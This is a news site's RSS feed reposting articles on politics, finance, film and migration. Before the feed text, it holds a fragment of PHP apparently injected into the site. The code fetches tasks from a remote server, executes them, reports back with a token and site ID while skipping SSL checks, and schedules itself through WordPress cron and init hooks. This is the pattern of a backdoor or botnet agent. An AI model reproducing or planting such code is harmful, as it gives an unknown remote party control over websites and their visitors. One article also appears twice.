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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); entered – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 13 Nov 2018 06:14:37 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png entered – Brief News https://briefnews.eu 32 32 The Obamas are worth 30 times more than when they entered the White House in 2008 — here’s how they spend their millions https://briefnews.eu/the-obamas-are-worth-30-times-more-than-when-they-entered-the-white-house-in-2008-heres-how-they-spend-their-millions/ https://briefnews.eu/the-obamas-are-worth-30-times-more-than-when-they-entered-the-white-house-in-2008-heres-how-they-spend-their-millions/#respond Tue, 13 Nov 2018 06:14:37 +0000 http://briefnews.eu/the-obamas-are-worth-30-times-more-than-when-they-entered-the-white-house-in-2008-heres-how-they-spend-their-millions/ Obama FamilyPool/Getty Images

  • Barack Obama’s net worth is estimated to be $ 40 million.
  • Aside from the six-figure pension he receives as a former president, Obama has made millions from speaking engagements and his best-selling books.
  • While Obama spends his money in various ways, he loves to donate to charity and take vacations with his wife, Michelle. 

Former President Barack Obama is a busy guy.

From speaking at events around the world to writing a memoir and, most recently, signing a massive production deal with Netflix, Obama’s life after the White House has been full and very lucrative.

These endeavors — along with the six-figure pension all former presidents receive — have significantly contributed to Obama’s estimated net worth of $ 40 million.

From the time he joined the US Senate in 2005 to the end of his presidency, Obama made $ 20 million alone from his presidential salary, book royalties, and investments, Forbes reported. And based on all the projects he has taken on in the short time since leaving the White House, we can only expect him to make many millions more.

From philanthropic efforts to vacationing where the sun shines to making long-term investments in his daughters’ education, here’s how Obama spends his fortune.

The Obamas entered the White House with a $ 1.3 million net worth in 2008. That has since grown to an estimated $ 40 million.

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Source: American University, CNN Money, GoBankingRates

From 2005 (when Barack Obama joined the US Senate) to 2016, the Obamas earned a total of $ 20.5 million from his government salary, book royalties, investment income, and Michelle Obama’s income from her job at University of Chicago Hospitals before she became the first lady.

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Source: Forbes

Obama earned $ 400,000 a year during his eight years as president, and he earns an annual pension of about $ 200,000 as a former president.

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Source: GoBankingRates


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Image of people with posters of science research.

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Science documentaries face a real challenge when it comes to drawing in an audience that isn’t already committed to caring about science. Finding new ways to say “You should really go see this, it’s not just about science” is often a struggle.

Science Fair is a rare entry in the category because its human elements are so obvious. Teamwork, competition, obstacles to be overcome, and the ultimate high-stakes denouement. Humanity’s at the forefront so often that it’s easy to forget that the film is about science. In fact, all of the basic human issues nearly obscure what the movie’s really about: teenagers on the edge of adulthood struggling through a world that often doesn’t know what to do with them, yet they find their people—the kindred spirits they can finally feel at home with.

The movie is funny, emotional, and touching, with a universal theme that just happens to have science as a background. And it’s really, really good.

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]]> https://briefnews.eu/see-science-fair-even-if-youve-never-entered-one-in-your-life/feed/ 0 South Korea reportedly scrambled military jets to intercept 2 Russian aircraft that entered its air defense territory https://briefnews.eu/south-korea-reportedly-scrambled-military-jets-to-intercept-2-russian-aircraft-that-entered-its-air-defense-territory/ https://briefnews.eu/south-korea-reportedly-scrambled-military-jets-to-intercept-2-russian-aircraft-that-entered-its-air-defense-territory/#respond Sat, 14 Jul 2018 05:42:58 +0000 http://briefnews.eu/south-korea-reportedly-scrambled-military-jets-to-intercept-2-russian-aircraft-that-entered-its-air-defense-territory/ Su-35 Flanker E Jet RussiaAP/Francois Mori

  • South Korea reportedly scrambled military jets to intercept two Russian military aircraft that entered the South’s air defense territory four times throughout the day.
  • The Russian aircraft were believed to be military bomber jets that spent over three hours in the Korea Air Defence Identification Zone.

South Korea said on Friday it had scrambled military jets to intercept two Russian military aircraft that entered the South’s air defense territory four times through the day.

The Russian aircraft were believed to be military bomber jets and spent more than three hours in the Korea Air Defence Identification Zone, the South Korean joint chiefs of staff told Reuters.

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]]> https://briefnews.eu/south-korea-reportedly-scrambled-military-jets-to-intercept-2-russian-aircraft-that-entered-its-air-defense-territory/feed/ 0 Hollywood Was Getting “The Sea of Trees” Wrong Long Before Logan Paul Ever Entered the Forest https://briefnews.eu/hollywood-was-getting-the-sea-of-trees-wrong-long-before-logan-paul-ever-entered-the-forest/ https://briefnews.eu/hollywood-was-getting-the-sea-of-trees-wrong-long-before-logan-paul-ever-entered-the-forest/#respond Fri, 09 Feb 2018 16:45:32 +0000 http://briefnews.eu/hollywood-was-getting-the-sea-of-trees-wrong-long-before-logan-paul-ever-entered-the-forest/

As an American who lives in Japan and has spent time hiking the Jukai Nature Trail — which winds through Aokigahara, the so-called “suicide forest” — it hit close to home for me to see the Logan Paul controversy play out in the news. If you somehow missed it, Paul is the YouTube personality with over 16.5 million subscribers who shared a video of his Scooby-Doo-like crew stumbling across a corpse in the forest. He has since apologized, pledged to donate a million dollars to suicide prevention, and made his vlogging return.

Yet Paul’s moment in the international spotlight hardly constitutes the first instance of Western media co-opting that sensational idea of a “suicide forest” as both clickbait and the initial hook for a foreigner’s navel-gazing adventures on-screen.

Most recently, the 2016 film The Forest, starring Natalie Dormer of Game of Thrones fame, commandeered this legend for its own shlock-horror purposes. The legend is not without some basis in reality, mind you, but when Matthew McConaughey’s character in the 2015 film The Sea of Trees Googles the phrase “a perfect place to die” and lands on an Aokigahara web page, there’s a sense that this story and others like it are disseminating harmful notions, contributing to a historical tale that is possibly more a case of life imitating art than art imitating life.

The Sea of Trees

What was arguably most disturbing about Logan Paul’s now-deleted forest video was the transgressive nature of the vlogger’s actions, how he seemed to demonstrate supremely self-centered, almost sociopathic behavior while filming in the presence of a deceased person. In a way, the overarching narrative of Paul’s soul-searching exile and comeback mirrors the journey of self-discovery that Matthew McConaughey’s character undergoes in The Sea of Trees.

Gus Van Sant’s 2015 film isn’t as terrible as its 11% Tomatometer rating would suggest, but it’s a weepy melodrama that telegraphs its twists, then ends with vapid smiles over the lessons learned from a Japanese man who is basically the Asian version of the Magical Negro. Ken Watanabe plays that character; McConaughey is Arthur Brennan, the depressed foreigner who hops on a plane to Japan without booking a return flight. He takes a taxi to the titular Sea of Trees, where he moves past a single abandoned car on the roadside before walking into the forest.

In reality, the trailhead is accessible via a parking lot on the same sightseeing bus loop as a bunch of other tourist attractions near Mount Fuji. To have Arthur ride the bus with tourists and encounter other hikers on the trail would clearly detract from Van Sant’s romanticized vision of the forest as the “perfect place to die.” It’s a vision that others have shared, sadly, insofar as the same exact phrase was used to describe the Sea of Trees in a 1993 Japanese book called The Complete Manual of Suicide.

Copies of this book have reportedly been found on people’s bodies inside the forest. This is how life imitates art. People first hear about the forest as a good place to go for seeing or doing bad things. Then they go there and more stories get written about how bad things have happened in the forest. It’s a chicken-and-egg scenario. Which came first: the deaths or the folklore?

In an effort to overcompensate for its own dramatic inertia, perhaps, The Sea of Trees shows us a forest littered with human remains. Arthur encounters two recently deceased corpses, two skeletons, and two flowers that have sprouted up in the spot where people died (because that’s the kind of Hallmark suicide movie this is). Yet the signature moss and crawling, above-ground roots that mark so much of the real Sea of Trees are nowhere to be found.

It’s plainly a different forest: the terrain looks entirely dissimilar. What often gets overlooked about the Sea of Trees is the fact that the trees there grow on a bed of hardened lava from Mount Fuji, leaving their roots scrabbling for water in an unearthly volcanic landscape. There’s really no place like it, which is maybe part of the reason why Hollywood films shot in the forests of Massachusetts and Serbia seem incapable of doing it justice.

In the end, the forest and Watanabe’s character wind up being incidental to the movie’s plot. What The Sea of Trees is really about is how Arthur learns to laugh again. This uplifting moral just so happens to be wrapped up in what Salon called “the worst movie ending of all time.”

The Forest

The Forest is a film that producer David S. Goyer conceived after reading a Wikipedia entry about the Sea of Trees.

Let that sink in for a moment, because it sounds like that was the extent of Goyer’s research. In an interview with Shockya, he said he had never heard of the forest before. After he “went down the rabbit hole” in that Wikipedia entry, however, he promptly drew up an outline for the film, which he then handed off to other screenwriters.

At the start of The Forest, Natalie Dormer’s character, Sara, receives a phone call telling her that her twin sister has disappeared into the dreaded Aokigahara. Packing her bags and sounding like she’s the very last person on earth who got the memo, Sara makes the dopey proclamation: “Apparently, they have a forest in Japan where people kill themselves.” It’s easy to imagine a similar light bulb going off over Goyer’s head as he hatched the idea for this movie.

To his credit, first-time feature filmmaker Jason Zada appears to have gone a little farther than Goyer in researching the forest, insofar as he visited the actual place before pre-production on the film commenced. Ultimately, he and the production would only spend four days shooting in Japan – just enough time to tick off a small checklist of cliches and regurgitate a bit of Lost in Translation.

There’s a driving sequence at the beginning of The Forest that plays out like a shot-for-shot remake of a scene in that movie. Here Dormer is substituted for Bill Murray as the jet-lagged foreigner making a cab ride past the same neon-lit district in Tokyo that Hugh Jackman also cruised by in The Wolverine. Girls in Lolita fashion stand on the street corner and sushi twitches on the plate. This is Hollywood’s Japan.

As Sara disembarks the fictional train line to “Aokigahara Station” (no such place exists in real life), it soon becomes clear that the vivid setting being conjured on-screen is not just a heightened version of reality, but rather a straight-up alternate reality. It’s the kind of place where beefcake Westerners named Aiden can slide up on a bar stool in remote Japanese locales — fluent yet somehow bad at pronouncing the language, able to chime in and finish lines of poetry that Sara starts quoting.

Inside the forest, all sense of place is gradually lost as the movie essentially turns into a cinematic rendition of a Halloween Horror Nights maze at Universal Studios. Those can be frightening and fun to experience, less so when you are watching them at a remove in someone else’s amateurish videos. So it goes with this movie.

In The Forest, suicide victims hang from trees, but at least the characters here have the decency to cut them down. Despite that, there’s a lingering sense through it all that movies like this are part of a greater myth-making cycle that has skewed public perception using appropriated cultural symbols.

One character insists, “The forest draws out your fear,” but actually, it’s the other way around. Movies like this draw out people’s fear of the forest. The inability to get a cell phone signal is a well-worn horror cliche, but both The Forest and The Sea of Trees perpetuate a myth that The New York Times already dispelled about compasses going haywire in the Sea of Trees.

The Untold Story

There is one passing reference in The Forest that does hint at a larger story outside of the “suicide forest” narrative. Meeting with the principal at the school where her sister worked, Sara hears about the myth of senicide (leaving the elderly to die) in the Sea of Trees.

“That’s awful,” she says. I don’t understand, why would the school take a class trip there?”

“Mount Fuji is very beautiful and important to history,” the principal replies. “Aokigahara is simply part of the mountain.”

The eruption of Mount Fuji that formed the Sea of Trees over a millennium ago triggered an intense worship of the volcano. In modern Japan, the mountain still enjoys sacred status as an icon of nature whose symmetrical beauty inspires residents, travelers, photographers, and filmmakers.

People visit the Sea of Trees to be closer to Mount Fuji. And yes, some of them in death. Over the years, a community of loneliness has grown up inside the forest, and with Japan providing less social mobility than other nations, there are not so many places where the average person can escape his or her circumstances and start life over.

Movies like The Sea of Trees and The Forest are not interested in that. Projecting an ignorant facsimile of the forest through the eyes of clueless, self-involved protagonists, they divorce the Sea of Trees from its true cultural context, contributing to the climate where it can live in people’s imagination as a kind of haunted house or misery porn attraction.

These movies exploit real human grief with little to no regard for the damage they might inflict. They might as well take out a travel advertisement saying, “Come visit the real-life suicide forest where adventurers, thrill-seekers, and YouTubers can go to have a ‘me’ experience.”

The real Sea of Trees is a place that’s centuries older than all of us. It will outlive us all by centuries more unless some idiot using it as their own personal playground starts a forest fire and burns it down first. Theoretically, storytellers should be free to use any setting they want, but when a place comes with such a great burden of history — the baggage of lives lost in the real world — it immediately ups the ante in terms of responsibility.

Hey, Hollywood…for the next movie, maybe dig a little deeper than Wikipedia?

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]]> https://briefnews.eu/hollywood-was-getting-the-sea-of-trees-wrong-long-before-logan-paul-ever-entered-the-forest/feed/ 0 MORGAN STANLEY: We’ve entered the final stage of the stock market’s remarkable rally https://briefnews.eu/morgan-stanley-weve-entered-the-final-stage-of-the-stock-markets-remarkable-rally-2/ https://briefnews.eu/morgan-stanley-weve-entered-the-final-stage-of-the-stock-markets-remarkable-rally-2/#respond Sat, 13 Jan 2018 14:41:53 +0000 http://briefnews.eu/morgan-stanley-weve-entered-the-final-stage-of-the-stock-markets-remarkable-rally-2/ edge of cliffJustin Sullivan/Getty

  • Morgan Stanley says we’ve reached the “euphoria” stage of the 8 1/2-year equity bull market, which is usually the final leg of a rally.
  • The firm sees financial conditions tightening, and argues that GOP tax reform is already priced into the market.

For an equity bull market, overconfidence can be the kiss of death.

This can be seen in a cycle that’s played out repeatedly throughout history. At a certain point during an extended stock rally, investors get cocky and continue to pile head-first into positions with little regard for risks. Then the market faces a drastic reckoning, leaving those traders wishing they’d been more careful.

Simply put, when investors start to feel invincible, bad things happen. To Morgan Stanley, this so-called “euphoria” stage marks the beginning of the end of a bull market. And guess what? That’s where we are right now.

In its 2018 equity outlook, Morgan Stanley makes it clear that we’ve gotten ahead of ourselves. Those extended conditions, combined with earnings growth that’s forecast to plateau in the first six months of 2018, has the firm feeling cautious.

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“Financial conditions will tighten this year, and we can no longer say that investor sentiment and positioning is muted,” Mike Wilson, Morgan Stanley’s chief US equity strategist, wrote in a client note. “In fact, there are now signs we have entered into the ‘euphoria’ stage of this bull market.”

It’s a continuation of comments Wilson made in mid-December, when he asserted that “no cyclical bull market has ever ended without some excitement from investors.”

Still, Wilson is not calling for the end of the bull market — at least not right this instant — since, as he notes, this euphoric stage can last for a while. He’s simply warning that further upside may be limited, and that any remaining gains will be more speculative.

If there is an immediate threat to lofty stock valuations, it will likely be investors overestimating the effect of GOP tax reform going forward, says Wilson. He believes that it’s been almost entirely priced into the market already — a view that conflicts with those held by many of his Wall Street counterparts.

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This skeptical commentary matches Wilson’s 2018 S&P 500 price target of 2,750, which is among the lowest on Wall Street. It’s also just 0.5% higher than the equity benchmark’s current level.

Rather than continue to chase new highs in the US, Wilson recommends looking for opportunities overseas.

“After a long period of US dominance, we believe both Europe and Japan can outperform the US in 2018 and beyond due to the meaningfully lower valuations and potentially faster earnings growth,” he wrote. “These countries are much earlier in their economic recoveries from the financial crisis.”

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]]> https://briefnews.eu/morgan-stanley-weve-entered-the-final-stage-of-the-stock-markets-remarkable-rally-2/feed/ 0 MORGAN STANLEY: We’ve entered the final stage of the stock market’s remarkable rally https://briefnews.eu/morgan-stanley-weve-entered-the-final-stage-of-the-stock-markets-remarkable-rally/ https://briefnews.eu/morgan-stanley-weve-entered-the-final-stage-of-the-stock-markets-remarkable-rally/#respond Sun, 07 Jan 2018 11:27:21 +0000 http://briefnews.eu/morgan-stanley-weve-entered-the-final-stage-of-the-stock-markets-remarkable-rally/ edge of cliffJustin Sullivan/Getty

  • Morgan Stanley says we’ve reached the “euphoria” stage of the 8 1/2-year equity bull market, which is usually the final leg of a rally.
  • The firm sees financial conditions tightening, and argues that GOP tax reform is already priced into the market.

For an equity bull market, overconfidence can be the kiss of death.

This can be seen in a cycle that’s played out repeatedly throughout history. At a certain point during an extended stock rally, investors get cocky and continue to pile head-first into positions with little regard for risks. Then the market faces a drastic reckoning, leaving those traders wishing they’d been more careful.

Simply put, when investors start to feel invincible, bad things happen. To Morgan Stanley, this so-called “euphoria” stage marks the beginning of the end of a bull market. And guess what? That’s where we are right now.

In its 2018 equity outlook, Morgan Stanley makes it clear that we’ve gotten ahead of ourselves. Those extended conditions, combined with earnings growth that’s forecast to plateau in the first six months of 2018, has the firm feeling cautious.

Screen Shot 2018 01 05 at 2.11.29 PMMorgan Stanley

“Financial conditions will tighten this year, and we can no longer say that investor sentiment and positioning is muted,” Mike Wilson, Morgan Stanley’s chief US equity strategist, wrote in a client note. “In fact, there are now signs we have entered into the ‘euphoria’ stage of this bull market.”

It’s a continuation of comments Wilson made in mid-December, when he asserted that “no cyclical bull market has ever ended without some excitement from investors.”

Still, Wilson is not calling for the end of the bull market — at least not right this instant — since, as he notes, this euphoric stage can last for a while. He’s simply warning that further upside may be limited, and that any remaining gains will be more speculative.

If there is an immediate threat to lofty stock valuations, it will likely be investors overestimating the effect of GOP tax reform going forward, says Wilson. He believes that it’s been almost entirely priced into the market already — a view that conflicts with those held by many of his Wall Street counterparts.

Screen Shot 2018 01 05 at 3.20.22 PMMorgan Stanley

This skeptical commentary matches Wilson’s 2018 S&P 500 price target of 2,750, which is among the lowest on Wall Street. It’s also just 0.5% higher than the equity benchmark’s current level.

Rather than continue to chase new highs in the US, Wilson recommends looking for opportunities overseas.

“After a long period of US dominance, we believe both Europe and Japan can outperform the US in 2018 and beyond due to the meaningfully lower valuations and potentially faster earnings growth,” he wrote. “These countries are much earlier in their economic recoveries from the financial crisis.”

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]]> https://briefnews.eu/morgan-stanley-weve-entered-the-final-stage-of-the-stock-markets-remarkable-rally/feed/ 0 A 10-year-old girl with cerebral palsy who entered the US illegally has been released by border agents https://briefnews.eu/a-10-year-old-girl-with-cerebral-palsy-who-entered-the-us-illegally-has-been-released-by-border-agents/ https://briefnews.eu/a-10-year-old-girl-with-cerebral-palsy-who-entered-the-us-illegally-has-been-released-by-border-agents/#respond Sat, 04 Nov 2017 00:39:24 +0000 http://briefnews.eu/a-10-year-old-girl-with-cerebral-palsy-who-entered-the-us-illegally-has-been-released-by-border-agents/ US Border Patrol MexicoREUTERS/Lucy Nicholson

  • Border Patrol agents followed Rosa Maria Hernandez to the hospital and took the girl into custody after a surgery.
  • Rosa Maria has cerebral palsy.
  • Rosa Maria has been reunited with her family, but still faces the threat of deportation.

HOUSTON (AP) — U.S. authorities on Friday released a 10-year-old immigrant girl with cerebral palsy who had been detained by border agents after surgery because she is in the U.S. without legal permission.

The ACLU and U.S. Rep. Joaquin Castro said that Rosa Maria Hernandez was returned Friday afternoon to her family. Her parents brought her into the U.S. from Mexico in 2007, when she was a toddler, and they live in the Texas border city of Laredo.

A cousin who is an American citizen took Rosa Maria from Laredo to a children’s hospital in Corpus Christi on Oct. 24, where she was scheduled to have emergency gallbladder surgery. To get to Corpus Christi, about 150 miles (240 kilometers) away, she had to pass through an interior checkpoint in South Texas operated by the Border Patrol.

Border Patrol agents followed Rosa Maria and the cousin to the hospital, then took the girl into custody after the surgery and transported her to a facility in San Antonio for unaccompanied immigrant minors, under the custody of the U.S. Department of Health and Human Services.

The Border Patrol has said it had no choice but to detain Rosa Maria, arguing that she was considered an unaccompanied minor under federal law, the same as a child who crosses into the United States alone without legal permission.

The ACLU sued the government on Rosa Maria’s behalf Tuesday, argued that the U.S. government violated federal law on unaccompanied minors and endangered Rosa Maria’s health by not sending her home.

“She never should have been in this situation in the first place,” ACLU lawyer Michael Tan said Friday. “There is no reason Border Patrol had to target a child.”

While Rosa Maria has been reunited with her family, she still faces the threat of deportation. Tan said Friday that Border Patrol agents had issued Rosa Maria a notice to appear in immigration court, but that the case had yet to move forward.

U.S. Customs and Border Protection, which oversees the Border Patrol, declined to comment. HHS declined to comment on Rosa Maria’s case, but said the agency’s focus was “on the safety and best interest of each child.”

Leticia Gonzalez, an attorney for Rosa Maria’s family, said the 10-year-old had the mental capacity of a child closer to 4 or 5 years old due to her cerebral palsy. Priscila Martinez, an activist at the Workers Defense Action Fund, said the child had started to show signs of socially withdrawing while in detention and refusing to eat her favorite kind of bread.

Federal immigration authorities have faced strong criticism from advocates and some Texas Democratic congressmen over their handling of the case.

Castro, a San Antonio Democrat, said Friday that he had tried to see Rosa Maria earlier in the day and had spoken to federal officials about her case. He said Border Patrol agents could have chosen to let Rosa Maria pass through the checkpoint without following or detaining her.

“Staking out the hospital room of a young, sick girl and keeping her away from her family is not a humane treatment for her,” Castro said.

But U.S. Customs and Border Protection said in a previous statement after she was detained that “there is no discretion with regard to the law whether or not the agents should enforce the law.”

Gabriel Acosta, assistant chief patrol agent for the Border Patrol’s Laredo sector, said Tuesday that his agents moved quickly to get her through the checkpoint and “acted professionally and compassionately to get this child the medical attention she needed.”

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]]> https://briefnews.eu/a-10-year-old-girl-with-cerebral-palsy-who-entered-the-us-illegally-has-been-released-by-border-agents/feed/ 0 Only 3% of 2.2mn migrants who entered Europe since 2015 sent home – Pew Research https://briefnews.eu/only-3-of-2-2mn-migrants-who-entered-europe-since-2015-sent-home-pew-research/ https://briefnews.eu/only-3-of-2-2mn-migrants-who-entered-europe-since-2015-sent-home-pew-research/#respond Thu, 21 Sep 2017 06:09:07 +0000 http://briefnews.eu/only-3-of-2-2mn-migrants-who-entered-europe-since-2015-sent-home-pew-research/

More than half of the immigrants who arrived in the EU, Norway and Switzerland in 2015 and 2016 still have no legal asylum status, and only 3 percent of the 2.2 million newcomers were returned to their homeland.

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Meanwhile, those rejected for asylum are likely to “disappear” rather than allow themselves to be deported, the paper indicates.

The most systematic study of the biggest migration wave in Europe since World War II has been conducted by the Pew Research Center on the basis of official Eurostat data, and shows that the continent still has not dealt with the migrant crisis.

Although the peak of media attention came in 2015, when 1.3 million asylum applications were filed, almost as many – 1.2 million – came in 2016, many from migrants who arrived the previous year, before moving to a different destination inside Europe in the hope of better chances of citizenship and a better livelihood. Germany was the most popular application country, taking 45 percent of all the asylum seekers on the continent.

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Migrants queue to get into a food tent at a temporary registration centre in the village of Schwarzenborn, northeast of Frankfurt, Germany. © Kai Pfaffenbach

Forty percent of all applicants have been approved, with the highest rate of acceptance among those who said they were fleeing from Syria, 80 percent of whom have no legal residence in Europe. On the other hand, only 2 percent of the 80,000 Albanians, whose homeland is not suffering from any recognized humanitarian crisis, have been designated as refugees.

But this does not mean they were forced to go home: 89 percent of all Albanian immigrants are still inside the EU, waiting for their initial application and appeal to go through, and only 9 percent have given up and decided to travel back across the border. Similarly, 77 percent of Kosovars, Afghans and Iranians are still being processed, with many banned from working officially and resident in temporary state-provided accommodation.

In total, 52 percent of all immigrants are still in the application phase.

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Thus, only 8 percent of newcomers have been definitively told that they cannot stay in Europe. The location of majority of those – some 5 percent of the total migrant influx, or more than 100,000 people – is listed as “unknown,” suggesting that they may have settled somewhere illegally, left Europe, or changed identity in another bid for residency within the EU.

Though varying backgrounds of the migrants makes direct comparisons difficult, the most welcoming European countries are the Netherlands (52 percent of applicants approved), Germany (50 percent) and Sweden (48 percent). The least likely to grant asylum is Hungary, which has given green light to just 1 percent of all asylum claims.

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]]> https://briefnews.eu/only-3-of-2-2mn-migrants-who-entered-europe-since-2015-sent-home-pew-research/feed/ 0 China says a US warship entered its waters ‘without permission’ https://briefnews.eu/china-says-a-us-warship-entered-its-waters-without-permission/ https://briefnews.eu/china-says-a-us-warship-entered-its-waters-without-permission/#respond Thu, 25 May 2017 09:22:16 +0000 http://briefnews.eu/china-says-a-us-warship-entered-its-waters-without-permission/ USS DeweyKryzentia Weiermann/Courtesy U.S. Navy/Handout via REUTERS

Beijing (AFP) – The Chinese government charged on Thursday that a US warship had entered its waters in the South China Sea “without permission”, prompting Beijing’s navy to warn the vessel to leave.

The USS Dewey sailed less than 12 nautical miles from Mischief Reef — part of the Spratly Islands — on Thursday morning local time, a US official said earlier, the first freedom of navigation operation under President Donald Trump.

“The relevant action taken by the US vessel undermines China’s sovereignty and security interests,” foreign ministry spokesman Lu Kang told a press briefing.

“We urge the US to correct this mistake,” he said.

“Stop taking further provocative actions that hurt China’s sovereignty and maritime interests, so as to avoid hurting peace and security of the region and long term cooperation between the two countries.”

The incident broke a period of friendly exchanges between China and the United States after presidents Xi Jinping and Trump met in April. 

Lu said the USS Dewey, a guided-missile destroyer, had “trespassed in the waters near relevant islands and reefs” of the Spratly Islands “without permission from the Chinese government”.

The Chinese navy identified the US warship “in accordance with the law and warned it to leave,” the spokesman said.

Lu said the US warship’s move comes as the situation in the South China Sea “is cooling down and showing positive signs of development” thanks to the concerted efforts of Beijing and the Association of Southeast Asian Nations.

“But what the US has done is cause severe disruptions to this process of dialogue and consultation.” 

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]]> https://briefnews.eu/china-says-a-us-warship-entered-its-waters-without-permission/feed/ 0 Stocks have entered the ‘danger zone’ https://briefnews.eu/stocks-have-entered-the-danger-zone/ https://briefnews.eu/stocks-have-entered-the-danger-zone/#respond Sun, 12 Mar 2017 16:45:36 +0000 http://briefnews.eu/stocks-have-entered-the-danger-zone/ This bull market is simultaneously one of the most loved and hated in history.

Credit it to the fact that stocks have kept rising in the face of several indicators that suggest this can’t continue.

Stocks have rallied even in the face of what strategist Jeff Saut of Raymond James said is the media’s glass-half-empty coverage of President Donald Trump.

Investor optimism has also climbed to historic highs, alongside business and consumer confidence.

That’s at odds with some strategists, including Saut, who are cautious of the rally amid little implementation of the pro-business policies that seem to be inspiring it.

Saut wrote:

“Corporate insiders sold $ 7.8 billion of their companies’ stock in February, which was the most in roughly six years.

“What do they know that we don’t know? Maybe they know that the Daily Sentiment Survey of Futures Traders shows a 92% Bulls reading. In the three times the reading has been that high since 2011 it has led to declines of 7% (2/11), 8% (5/13), and 3% (11/13). Also of note is that late last week the number of stocks making new 52-week highs on the NYSE collapsed by some 80%.

“Then there are the bullish sentiment figures that are at danger levels (chart 2 …). All of this continues to leave us in a cautionary stance despite the fact that stance has been wrong for three weeks.”

The chart shows the Investors Intelligence Advisor Sentiment reading on the S&P 500. The difference between bullish and bearish investors is approaching a “danger zone” seen near previous market tops. The annotations are Saut’s.

DANGER ZONE COTDRaymond James

Among the indicators that say this can’t continue, the most important is whether the US economy is entering a cyclical downturn.

“At least the economic data look good, and that is an important catalyst ultimately that keeps markets going,” David Harris, the chief investment officer at Rockefeller & Co, told Business Insider. “You’d probably have, more than anything, a pause that refreshes the US markets, as valuations are arguably ahead of themselves.”

Harris foresaw a “time correction” in the market, but not a drop that would materially end the bull run.

Other strategists warn that the recent run-up has been a “hope rally,” built on the prospects that Trump delivers his campaign promises of infrastructure spending, corporate tax cuts, and deregulation.

David Rosenberg, the chief economist at Gluskin Sheff, said in a note that momentum can only carry the market so far.

“Sentiment is ridiculously overdone, with the Investor Intelligence survey showing the bull share at 63.1%, the highest reading since January 1987, when tax reform had become a reality, not just a mere projection,” he wrote on Monday.

“We think the equity markets are at an inflection point,” Saut said. “The next few sessions should tell if this is the case.”


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